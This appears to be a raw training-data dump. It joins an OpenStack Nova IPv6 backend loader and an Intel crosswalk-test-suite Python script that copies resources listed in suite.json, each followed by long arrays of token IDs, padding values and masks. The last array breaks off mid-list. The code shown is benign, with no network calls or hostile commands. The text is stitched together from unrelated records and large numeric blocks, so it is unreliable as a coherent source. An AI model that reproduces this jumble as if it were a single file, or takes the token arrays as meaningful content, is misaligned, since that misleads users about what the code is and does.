# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from nova import flags
from nova.openstack.common import cfg
from nova import utils
ipv6_backend_opt = cfg.StrOpt('ipv6_backend',
default='rfc2462',
help='Backend to use for IPv6 generation')
FLAGS = flags.FLAGS
FLAGS.register_opt(ipv6_backend_opt)
def reset_backend():
global IMPL
IMPL = utils.LazyPluggable('ipv6_backend',
rfc2462='nova.ipv6.rfc2462',
account_identifier='nova.ipv6.account_identifier')
def to_global(prefix, mac, project_id):
return IMPL.to_global(prefix, mac, project_id)
def to_mac(ipv6_address):
return IMPL.to_mac(ipv6_address)
reset_backend()
|
apache-2.0
|
[
3,
6695,
26,
20849,
29,
20,
20105,
29,
20,
25966,
29,
20,
199,
199,
3,
1898,
334,
67,
9,
7760,
3232,
2340,
12,
20376,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
504,
5913,
492,
3285,
199,
504,
5913,
14,
8512,
14,
2330,
492,
4810,
199,
504,
5913,
492,
3778,
421,
199,
4774,
22,
63,
4620,
63,
2992,
275,
4810,
14,
19340,
360,
4774,
22,
63,
4620,
297,
2892,
849,
534,
8973,
1194,
2789,
297,
2892,
1720,
534,
8447,
370,
675,
367,
6509,
22,
10152,
358,
199,
199,
4831,
275,
3285,
14,
4831,
199,
4831,
14,
2683,
63,
2992,
8,
4774,
22,
63,
4620,
63,
2992,
9,
421,
199,
318,
5305,
63,
4620,
837,
272,
2288,
473,
3950,
272,
473,
3950,
275,
3778,
14,
14269,
19173,
16725,
360,
4774,
22,
63,
4620,
297,
355,
18158,
1194,
2789,
534,
6765,
14,
4774,
22,
14,
8973,
1194,
2789,
297,
355,
2933,
63,
5364,
534,
6765,
14,
4774,
22,
14,
2048,
63,
5364,
358,
421,
199,
318,
370,
63,
2966,
8,
1861,
12,
4497,
12,
2199,
63,
344,
304,
272,
372,
473,
3950,
14,
475,
63,
2966,
8,
1861,
12,
4497,
12,
2199,
63,
344,
9,
421,
199,
318,
370,
63,
3088,
8,
4774,
22,
63,
1562,
304,
272,
372,
473,
3950,
14,
475,
63,
3088,
8,
4774,
22,
63,
1562,
9,
199,
199,
3958,
63,
4620,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
6695,
26,
20849,
29,
20,
20105,
29,
20,
25966,
29,
20,
199,
199,
3,
1898,
334,
67,
9,
7760,
3232,
2340,
12,
20376,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
504,
5913,
492,
3285,
199,
504,
5913,
14,
8512,
14,
2330,
492,
4810,
199,
504,
5913,
492,
3778,
421,
199,
4774,
22,
63,
4620,
63,
2992,
275,
4810,
14,
19340,
360,
4774,
22,
63,
4620,
297,
2892,
849,
534,
8973,
1194,
2789,
297,
2892,
1720,
534,
8447,
370,
675,
367,
6509,
22,
10152,
358,
199,
199,
4831,
275,
3285,
14,
4831,
199,
4831,
14,
2683,
63,
2992,
8,
4774,
22,
63,
4620,
63,
2992,
9,
421,
199,
318,
5305,
63,
4620,
837,
272,
2288,
473,
3950,
272,
473,
3950,
275,
3778,
14,
14269,
19173,
16725,
360,
4774,
22,
63,
4620,
297,
355,
18158,
1194,
2789,
534,
6765,
14,
4774,
22,
14,
8973,
1194,
2789,
297,
355,
2933,
63,
5364,
534,
6765,
14,
4774,
22,
14,
2048,
63,
5364,
358,
421,
199,
318,
370,
63,
2966,
8,
1861,
12,
4497,
12,
2199,
63,
344,
304,
272,
372,
473,
3950,
14,
475,
63,
2966,
8,
1861,
12,
4497,
12,
2199,
63,
344,
9,
421,
199,
318,
370,
63,
3088,
8,
4774,
22,
63,
1562,
304,
272,
372,
473,
3950,
14,
475,
63,
3088,
8,
4774,
22,
63,
1562,
9,
199,
199,
3958,
63,
4620,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
yhe39/crosswalk-test-suite
|
tools/build/resource_only.py
|
14
|
4418
|
#!/usr/bin/env python
#
# Copyright (c) 2016 Intel Corporation.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of works must retain the original copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the original copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of Intel Corporation nor the names of its contributors
# may be used to endorse or promote products derived from this work without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY INTEL CORPORATION "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL INTEL CORPORATION BE LIABLE FOR ANY DIRECT,
# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
# OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# Authors:
# Li, Hao <haox.li@intel.com>
import os
import json
import glob
import sys
import utils
ROOT_DIR = os.getcwd()
def copy_resource(pkgtype):
try:
json_file = os.path.join(ROOT_DIR, "suite.json")
if not os.path.exists(json_file):
print "%s does not exist" % json_file
sys.exit(1)
print ">>>> suite.json: %s" % json_file
print ">>>> pkg type: %s" % pkgtype
suite_json = None
pkg_json = None
try:
with open(json_file, "rt") as suite_json_file:
suite_json_raw = suite_json_file.read()
suite_json_file.close()
suite_json = json.loads(suite_json_raw)
except Exception as e:
print "Fail to read json file: %s, exit ..." % json_file
sys.exit(1)
all_pkg_string = suite_json["pkg-list"].keys()
for i_pkg in all_pkg_string:
i_pkg_list = i_pkg.strip().split(",")
if pkgtype in i_pkg_list:
pkg_json = suite_json["pkg-list"][i_pkg]
if pkg_json is None:
print "No %s type config in %s" % (pkgtype, json_file)
# package copylist
if "copylist" in pkg_json:
main_copylist = pkg_json["copylist"]
for i_s_key in main_copylist.keys():
src_path = os.path.join(ROOT_DIR, i_s_key).replace("PACK-TOOL-ROOT", "../../tools")
dest_path = os.path.join(ROOT_DIR, main_copylist[i_s_key])
utils.doCopy(src_path, dest_path)
# pkg-app copylist
if "pkg-app" in pkg_json:
pkg_app_json = pkg_json["pkg-app"]
if "copylist" in pkg_app_json:
pkg_app_copylist = pkg_app_json["copylist"]
for i_s_key in pkg_app_copylist.keys():
src_path = os.path.join(ROOT_DIR, i_s_key).replace("PACK-TOOL-ROOT", "../../tools")
dest_path = os.path.join(ROOT_DIR, pkg_app_copylist[i_s_key])
utils.doCopy(src_path, dest_path)
# subapp-list copylist
if "subapp-list" in pkg_json:
subapp_list_json = pkg_json["subapp-list"]
for subapp_str in subapp_list_json.keys():
subapp_json = subapp_list_json[subapp_str]
subapp_path = os.path.join(ROOT_DIR, subapp_str)
if "copylist" in subapp_json and os.path.exists(subapp_path):
subapp_copylist = subapp_json["copylist"]
for i_s_key in subapp_copylist.keys():
src_path = os.path.join(subapp_path, i_s_key).replace("PACK-TOOL-ROOT", "../../tools")
dest_path = os.path.join(subapp_path, subapp_copylist[i_s_key])
utils.doCopy(src_path, dest_path)
except Exception as e:
print "Get Exception: %s, exit ..." % e
sys.exit(1)
|
bsd-3-clause
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
334,
67,
9,
7800,
20619,
11098,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
7647,
26,
199,
3,
199,
3,
627,
6823,
402,
5419,
1471,
8074,
314,
3379,
4248,
4245,
12,
642,
199,
3,
257,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3379,
4248,
199,
3,
257,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
315,
314,
199,
3,
257,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
4084,
14,
199,
3,
627,
11443,
314,
536,
402,
20619,
11098,
6590,
314,
1561,
402,
2399,
8417,
199,
3,
257,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
642,
1736,
1928,
199,
3,
257,
2488,
6791,
5313,
4983,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
16429,
2901,
27072,
298,
1179,
2281,
2,
199,
3,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
5471,
2296,
12,
2334,
199,
3,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
437,
3115,
3104,
199,
3,
9315,
9706,
14,
1621,
4825,
6461,
7000,
16429,
2901,
27072,
6262,
7024,
2381,
1821,
8703,
12,
199,
3,
9168,
12,
9716,
12,
8820,
12,
9836,
12,
1549,
9110,
6736,
334,
6446,
12,
199,
3,
5400,
2845,
5471,
2296,
12,
9838,
1634,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
199,
3,
7126,
12,
1549,
9206,
27,
1549,
9748,
9831,
9,
9802,
9817,
2401,
5258,
1821,
9815,
199,
3,
1634,
5603,
12,
7061,
1621,
7066,
12,
9644,
5603,
12,
1549,
7056,
334,
6446,
199,
3,
9254,
1549,
7334,
9,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
1634,
5749,
4141,
12,
199,
3,
9704,
8036,
9691,
1634,
2334,
9726,
1634,
9712,
9784,
14,
199,
3,
199,
3,
6642,
26,
199,
3,
260,
24157,
12,
869,
8035,
665,
2411,
19131,
14,
317,
32,
22264,
14,
957,
30,
199,
199,
646,
747,
199,
646,
2022,
199,
646,
5739,
199,
646,
984,
199,
646,
3778,
199,
199,
5441,
63,
3022,
275,
747,
14,
9458,
342,
199,
199,
318,
1331,
63,
1927,
8,
4600,
466,
304,
272,
862,
26,
267,
2022,
63,
493,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
298,
5768,
14,
1001,
531,
267,
340,
440,
747,
14,
515,
14,
2444,
8,
1001,
63,
493,
304,
288,
870,
2071,
83,
1630,
440,
2187,
2,
450,
2022,
63,
493,
288,
984,
14,
2224,
8,
17,
9,
398,
870,
298,
28375,
5241,
14,
1001,
26,
450,
83,
2,
450,
2022,
63,
493,
267,
870,
298,
28375,
257,
5496,
730,
26,
450,
83,
2,
450,
5496,
466,
398,
5241,
63,
1001,
275,
488,
267,
5496,
63,
1001,
275,
488,
267,
862,
26,
288,
543,
1551,
8,
1001,
63,
493,
12,
298,
2591,
531,
465,
5241,
63,
1001,
63,
493,
26,
355,
5241,
63,
1001,
63,
1773,
275,
5241,
63,
1001,
63,
493,
14,
739,
342,
355,
5241,
63,
1001,
63,
493,
14,
1600,
342,
355,
5241,
63,
1001,
275,
2022,
14,
3640,
8,
5768,
63,
1001,
63,
1773,
9,
267,
871,
2186,
465,
325,
26,
288,
870,
298,
4874,
370,
1586,
2022,
570,
26,
450,
83,
12,
4458,
21742,
450,
2022,
63,
493,
288,
984,
14,
2224,
8,
17,
9,
398,
1006,
63,
4600,
63,
875,
275,
5241,
63,
1001,
905,
4600,
13,
513,
4140,
1612,
342,
267,
367,
284,
63,
4600,
315,
1006,
63,
4600,
63,
875,
26,
288,
284,
63,
4600,
63,
513,
275,
284,
63,
4600,
14,
1913,
1252,
1294,
20324,
288,
340,
5496,
466,
315,
284,
63,
4600,
63,
513,
26,
355,
5496,
63,
1001,
275,
5241,
63,
1001,
905,
4600,
13,
513,
9210,
73,
63,
4600,
61,
267,
340,
5496,
63,
1001,
365,
488,
26,
288,
870,
298,
1944,
450,
83,
730,
1101,
315,
450,
83,
2,
450,
334,
4600,
466,
12,
2022,
63,
493,
9,
398,
327,
2559,
1331,
513,
267,
340,
298,
1574,
513,
2,
315,
5496,
63,
1001,
26,
288,
2446,
63,
1574,
513,
275,
5496,
63,
1001,
905,
1574,
513,
937,
288,
367,
284,
63,
83,
63,
498,
315,
2446,
63,
1574,
513,
14,
1612,
837,
355,
2928,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
284,
63,
83,
63,
498,
680,
1814,
480,
6961,
13,
9731,
13,
5441,
401,
298,
9707,
2537,
531,
355,
2053,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
2446,
63,
1574,
513,
59,
73,
63,
83,
63,
498,
566,
355,
3778,
14,
1117,
5116,
8,
2164,
63,
515,
12,
2053,
63,
515,
9,
398,
327,
5496,
13,
571,
1331,
513,
267,
340,
298,
4600,
13,
571,
2,
315,
5496,
63,
1001,
26,
288,
5496,
63,
571,
63,
1001,
275,
5496,
63,
1001,
905,
4600,
13,
571,
937,
288,
340,
298,
1574,
513,
2,
315,
5496,
63,
571,
63,
1001,
26,
355,
5496,
63,
571,
63,
1574,
513,
275,
5496,
63,
571,
63,
1001,
905,
1574,
513,
937,
355,
367,
284,
63,
83,
63,
498,
315,
5496,
63,
571,
63,
1574,
513,
14,
1612,
837,
490,
2928,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
284,
63,
83,
63,
498,
680,
1814,
480,
6961,
13,
9731,
13,
5441,
401,
298,
9707,
2537,
531,
490,
2053,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12,
5496,
63,
571,
63,
1574,
513,
59,
73,
63,
83,
63,
498,
566,
490,
3778,
14,
1117,
5116,
8,
2164,
63,
515,
12,
2053,
63,
515,
9,
398,
327,
1007,
571,
13,
513,
1331,
513,
267,
340,
298,
954,
571,
13,
513,
2,
315,
5496,
63,
1001,
26,
288,
1007,
571,
63,
513,
63,
1001,
275,
5496,
63,
1001,
905,
954,
571,
13,
513,
937,
288,
367,
1007,
571,
63,
495,
315,
1007,
571,
63,
513,
63,
1001,
14,
1612,
837,
355,
1007,
571,
63,
1001,
275,
1007,
571,
63,
513,
63,
1001,
59,
954,
571,
63,
495,
61,
355,
1007,
571,
63,
515,
275,
747,
14,
515,
14,
904,
8,
5441,
63,
3022,
12
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
334,
67,
9,
7800,
20619,
11098,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
7647,
26,
199,
3,
199,
3,
627,
6823,
402,
5419,
1471,
8074,
314,
3379,
4248,
4245,
12,
642,
199,
3,
257,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3379,
4248,
199,
3,
257,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
315,
314,
199,
3,
257,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
4084,
14,
199,
3,
627,
11443,
314,
536,
402,
